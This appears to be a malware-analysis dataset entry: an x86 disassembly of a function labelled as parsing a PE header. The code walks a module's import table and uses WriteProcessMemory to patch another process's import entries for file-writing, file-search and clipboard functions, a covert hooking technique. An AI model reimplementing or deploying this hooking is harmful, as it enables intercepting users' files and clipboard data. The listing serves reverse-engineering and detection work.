Function at 0x40269e
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
cmp dword [ebp + 0x10], 0
jne 0x4026b1
xor eax, eax
jmp 0x402fda
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x20], eax
push 0x40
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
cmp eax, 1
je 0x4026d7
mov edx, dword [ebp - 0x20]
xor eax, eax
mov ax, word [edx]
cmp eax, 0x5a4d
je 0x4026de
xor eax, eax
jmp 0x402fda
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x20]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1c], edx
push 0xf8
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
cmp eax, 1
je 0x402709
mov ecx, dword [ebp - 0x1c]
cmp dword [ecx], 0x4550
je 0x402710
xor eax, eax
jmp 0x402fda
mov edx, dword [ebp - 0x1c]
xor eax, eax
mov ax, word [edx + 0x14]
cmp eax, 0xe0
jne 0x402731
mov ecx, dword [ebp - 0x1c]
xor edx, edx
mov dx, word [ecx + 0x18]
cmp edx, 0x10b
je 0x402738
xor eax, eax
jmp 0x402fda
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov cx, word [eax + 6]
cmp ecx, 1
jge 0x40274d
xor eax, eax
jmp 0x402fda
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x20]
mov dword [0x41d4d0], ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx + 0x80]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40277f
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 0x20]
mov dword [ebp - 4], ecx
jmp 0x402786
xor eax, eax
jmp 0x402fda
mov edx, 1
test edx, edx
je 0x402fd8
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0
jne 0x4027aa
mov ecx, dword [ebp - 4]
cmp dword [ecx + 0xc], 0
jne 0x4027aa
jmp 0x402fd8
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0xc]
add eax, dword [0x41d4d0]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], 0
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push str.Kernel32.dll
mov edx, dword [ebp - 0x14]
push edx
call fcn.0040a4a0
add esp, 0xc
test eax, eax
jne 0x4027e7
mov dword [ebp - 0xc], 1
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0x4172b0
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.0040a4a0
add esp, 0xc
test eax, eax
jne 0x40280e
mov dword [ebp - 0xc], 2
mov edx, dword [ebp - 4]
cmp dword [edx], 0
je 0x402823
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x20]
mov dword [ebp - 0x24], ecx
jmp 0x40282f
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x10]
add eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0xc], 0
jle 0x402fca
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x10]
add edx, dword [ebp - 0x20]
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x24]
cmp dword [eax], 0
je 0x402fca
mov ecx, dword [ebp - 0x24]
mov edx, dword [ecx]
add edx, dword [ebp - 0x20]
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x2c], 0x80000000
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x402874
jmp 0x402fa9
mov edx, dword [ebp + 8]
cmp edx, dword [0x41dbb0]
jne 0x402da1
cmp dword [0x41d4e4], 0
je 0x4029c7
push 0x4172bc
mov eax, dword [ebp - 0x18]
add eax, 2
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x4028f6
mov ecx, dword [ebp - 0x28]
mov edx, dword [ecx]
cmp edx, dword [0x41d404]
jne 0x4028f6
cmp dword [0x41b4a4], 0
jne 0x4028c8
mov eax, dword [ebp + 0xc]
push eax
call fcn.004017c0
add esp, 4
cmp dword [0x41b4a8], 0
je 0x4028f6
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp + 0x10]
add ecx, dword [ebp + 0x14]
mov dword [ebp - 8], ecx
lea edx, [ebp - 0x10]
push edx
push 4
push 0x41d48c
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push str.GetModuleFileNameA
mov edx, dword [ebp - 0x18]
add edx, 2
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x40295c
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
cmp ecx, dword [0x41d40c]
jne 0x40295c
cmp dword [0x41b4a4], 0
jne 0x40292e
mov edx, dword [ebp + 0xc]
push edx
call fcn.004017c0
add esp, 4
cmp dword [0x41b4a8], 0
je 0x40295c
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp + 0x10]
add eax, dword [ebp + 0x14]
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x10]
push ecx
push 4
push 0x41d494
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push str.GetModuleFileNameW
mov ecx, dword [ebp - 0x18]
add ecx, 2
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x4029c2
mov edx, dword [ebp - 0x28]
mov eax, dword [edx]
cmp eax, dword [0x41d408]
jne 0x4029c2
cmp dword [0x41b4a4], 0
jne 0x402994
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.004017c0
add esp, 4
cmp dword [0x41b4a8], 0
je 0x4029c2
mov edx, dword [ebp - 0x28]
sub edx, dword [ebp + 0x10]
add edx, dword [ebp + 0x14]
mov dword [ebp - 8], edx
lea eax, [ebp - 0x10]
push eax
push 4
push 0x41d490
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x402d9c
cmp dword [ebp - 0xc], 2
jne 0x402a40
mov eax, dword [ebp + 0x18]
xor ecx, ecx
mov cl, byte [eax + 0xc]
cmp ecx, 1
jne 0x402a40
push str.SetClipboardData
mov edx, dword [ebp - 0x18]
add edx, 2
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x402a40
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
cmp ecx, dword [0x41d424]
jne 0x402a40
cmp dword [0x41b4a4], 0
jne 0x402a12
mov edx, dword [ebp + 0xc]
push edx
call fcn.004017c0
add esp, 4
cmp dword [0x41b4a8], 0
je 0x402a40
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp + 0x10]
add eax, dword [ebp + 0x14]
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x10]
push ecx
push 4
push 0x41d4b4
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp dword [ebp - 0xc], 1
jne 0x402d9c
mov ecx, dword [ebp + 0x18]
xor edx, edx
mov dl, byte [ecx + 0xa]
cmp edx, 1
jne 0x402b8d
push str._lwrite
mov eax, dword [ebp - 0x18]
add eax, 2
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x402ac1
mov ecx, dword [ebp - 0x28]
mov edx, dword [ecx]
cmp edx, dword [0x41d410]
jne 0x402ac1
cmp dword [0x41b4a4], 0
jne 0x402a93
mov eax, dword [ebp + 0xc]
push eax
call fcn.004017c0
add esp, 4
cmp dword [0x41b4a8], 0
je 0x402ac1
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp + 0x10]
add ecx, dword [ebp + 0x14]
mov dword [ebp - 8], ecx
lea edx, [ebp - 0x10]
push edx
push 4
push 0x41d498
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push str.WriteFile
mov edx, dword [ebp - 0x18]
add edx, 2
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x402b27
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
cmp ecx, dword [0x41d41c]
jne 0x402b27
cmp dword [0x41b4a4], 0
jne 0x402af9
mov edx, dword [ebp + 0xc]
push edx
call fcn.004017c0
add esp, 4
cmp dword [0x41b4a8], 0
je 0x402b27
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp + 0x10]
add eax, dword [ebp + 0x14]
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x10]
push ecx
push 4
push 0x41d4a4
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push str.WriteFileEx
mov ecx, dword [ebp - 0x18]
add ecx, 2
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x402b8d
mov edx, dword [ebp - 0x28]
mov eax, dword [edx]
cmp eax, dword [0x41d418]
jne 0x402b8d
cmp dword [0x41b4a4], 0
jne 0x402b5f
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.004017c0
add esp, 4
cmp dword [0x41b4a8], 0
je 0x402b8d
mov edx, dword [ebp - 0x28]
sub edx, dword [ebp + 0x10]
add edx, dword [ebp + 0x14]
mov dword [ebp - 8], edx
lea eax, [ebp - 0x10]
push eax
push 4
push 0x41d4a0
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp + 0x18]
xor ecx, ecx
mov cl, byte [eax + 0xb]
cmp ecx, 1
jne 0x402cd0
push str._lcreat
mov edx, dword [ebp - 0x18]
add edx, 2
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x402c04
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
cmp ecx, dword [0x41d414]
jne 0x402c04
cmp dword [0x41b4a4], 0
jne 0x402bd6
mov edx, dword [ebp + 0xc]
push edx
call fcn.004017c0
add esp, 4
cmp dword [0x41b4a8], 0
je 0x402c04
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp + 0x10]
add eax, dword [ebp + 0x14]
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x10]
push ecx
push 4
push 0x41d49c
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0x417330
mov ecx, dword [ebp - 0x18]
add ecx, 2
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x402c6a
mov edx, dword [ebp - 0x28]
mov eax, dword [edx]
cmp eax, dword [0x41d434]
jne 0x402c6a
cmp dword [0x41b4a4], 0
jne 0x402c3c
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.004017c0
add esp, 4
cmp dword [0x41b4a8], 0
je 0x402c6a
mov edx, dword [ebp - 0x28]
sub edx, dword [ebp + 0x10]
add edx, dword [ebp + 0x14]
mov dword [ebp - 8], edx
lea eax, [ebp - 0x10]
push eax
push 4
push 0x41d4ac
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0x41733c
mov eax, dword [ebp - 0x18]
add eax, 2
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x402cd0
mov ecx, dword [ebp - 0x28]
mov edx, dword [ecx]
cmp edx, dword [0x41d428]
jne 0x402cd0
cmp dword [0x41b4a4], 0
jne 0x402ca2
mov eax, dword [ebp + 0xc]
push eax
call fcn.004017c0
add esp, 4
cmp dword [0x41b4a8], 0
je 0x402cd0
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp + 0x10]
add ecx, dword [ebp + 0x14]
mov dword [ebp - 8], ecx
lea edx, [ebp - 0x10]
push edx
push 4
push 0x41d4a8
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0x417348
mov edx, dword [ebp - 0x18]
add edx, 2
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x402d36
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
cmp ecx, dword [0x41d43c]
jne 0x402d36
cmp dword [0x41b4a4], 0
jne 0x402d08
mov edx, dword [ebp + 0xc]
push edx
call fcn.004017c0
add esp, 4
cmp dword [0x41b4a8], 0
je 0x402d36
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp + 0x10]
add eax, dword [ebp + 0x14]
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x10]
push ecx
push 4
push 0x41d4cc
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0x417358
mov ecx, dword [ebp - 0x18]
add ecx, 2
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x402d9c
mov edx, dword [ebp - 0x28]
mov eax, dword [edx]
cmp eax, dword [0x41d430]
jne 0x402d9c
cmp dword [0x41b4a4], 0
jne 0x402d6e
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.004017c0
add esp, 4
cmp dword [0x41b4a8], 0
je 0x402d9c
mov edx, dword [ebp - 0x28]
sub edx, dword [ebp + 0x10]
add edx, dword [ebp + 0x14]
mov dword [ebp - 8], edx
lea eax, [ebp - 0x10]
push eax
push 4
push 0x41d4c0
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x402fa9
cmp dword [ebp - 0xc], 1
jne 0x402fa9
push str._lopen
mov eax, dword [ebp - 0x18]
add eax, 2
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x402e11
mov ecx, dword [ebp - 0x28]
mov edx, dword [ecx]
cmp edx, dword [0x41d420]
jne 0x402e11
cmp dword [0x41b4a4], 0
jne 0x402de3
mov eax, dword [ebp + 0xc]
push eax
call fcn.004017c0
add esp, 4
cmp dword [0x41b4a8], 0
je 0x402e11
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp + 0x10]
add ecx, dword [ebp + 0x14]
mov dword [ebp - 8], ecx
lea edx, [ebp - 0x10]
push edx
push 4
push 0x41d4b0
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push str.FindNextFileW
mov edx, dword [ebp - 0x18]
add edx, 2
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x402e77
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
cmp ecx, dword [0x41d43c]
jne 0x402e77
cmp dword [0x41b4a4], 0
jne 0x402e49
mov edx, dword [ebp + 0xc]
push edx
call fcn.004017c0
add esp, 4
cmp dword [0x41b4a8], 0
je 0x402e77
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp + 0x10]
add eax, dword [ebp + 0x14]
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x10]
push ecx
push 4
push 0x41d4cc
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0x417380
mov ecx, dword [ebp - 0x18]
add ecx, 2
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x402edd
mov edx, dword [ebp - 0x28]
mov eax, dword [edx]
cmp eax, dword [0x41d430]
jne 0x402edd
cmp dword [0x41b4a4], 0
jne 0x402eaf
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.004017c0
add esp, 4
cmp dword [0x41b4a8], 0
je 0x402edd
mov edx, dword [ebp - 0x28]
sub edx, dword [ebp + 0x10]
add edx, dword [ebp + 0x14]
mov dword [ebp - 8], edx
lea eax, [ebp - 0x10]
push eax
push 4
push 0x41d4c0
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push str.CreateFileW
mov eax, dword [ebp - 0x18]
add eax, 2
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x402f43
mov ecx, dword [ebp - 0x28]
mov edx, dword [ecx]
cmp edx, dword [0x41d434]
jne 0x402f43
cmp dword [0x41b4a4], 0
jne 0x402f15
mov eax, dword [ebp + 0xc]
push eax
call fcn.004017c0
add esp, 4
cmp dword [0x41b4a8], 0
je 0x402f43
mov ecx, dword [ebp - 0x28]
sub ecx, dword [ebp + 0x10]
add ecx, dword [ebp + 0x14]
mov dword [ebp - 8], ecx
lea edx, [ebp - 0x10]
push edx
push 4
push 0x41d4c4
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push str.CreateFileA
mov edx, dword [ebp - 0x18]
add edx, 2
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x402fa9
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax]
cmp ecx, dword [0x41d428]
jne 0x402fa9
cmp dword [0x41b4a4], 0
jne 0x402f7b
mov edx, dword [ebp + 0xc]
push edx
call fcn.004017c0
add esp, 4
cmp dword [0x41b4a8], 0
je 0x402fa9
mov eax, dword [ebp - 0x28]
sub eax, dword [ebp + 0x10]
add eax, dword [ebp + 0x14]
mov dword [ebp - 8], eax
lea ecx, [ebp - 0x10]
push ecx
push 4
push 0x41d4b8
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
cmp dword [ebp - 0x28], 0
jne 0x402fb3
xor eax, eax
jmp 0x402fda
mov ecx, dword [ebp - 0x28]
add ecx, 4
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x24]
add edx, 4
mov dword [ebp - 0x24], edx
jmp 0x402845
mov eax, dword [ebp - 4]
add eax, 0x14
mov dword [ebp - 4], eax
jmp 0x402786
xor eax, eax
mov esp, ebp
pop ebp
ret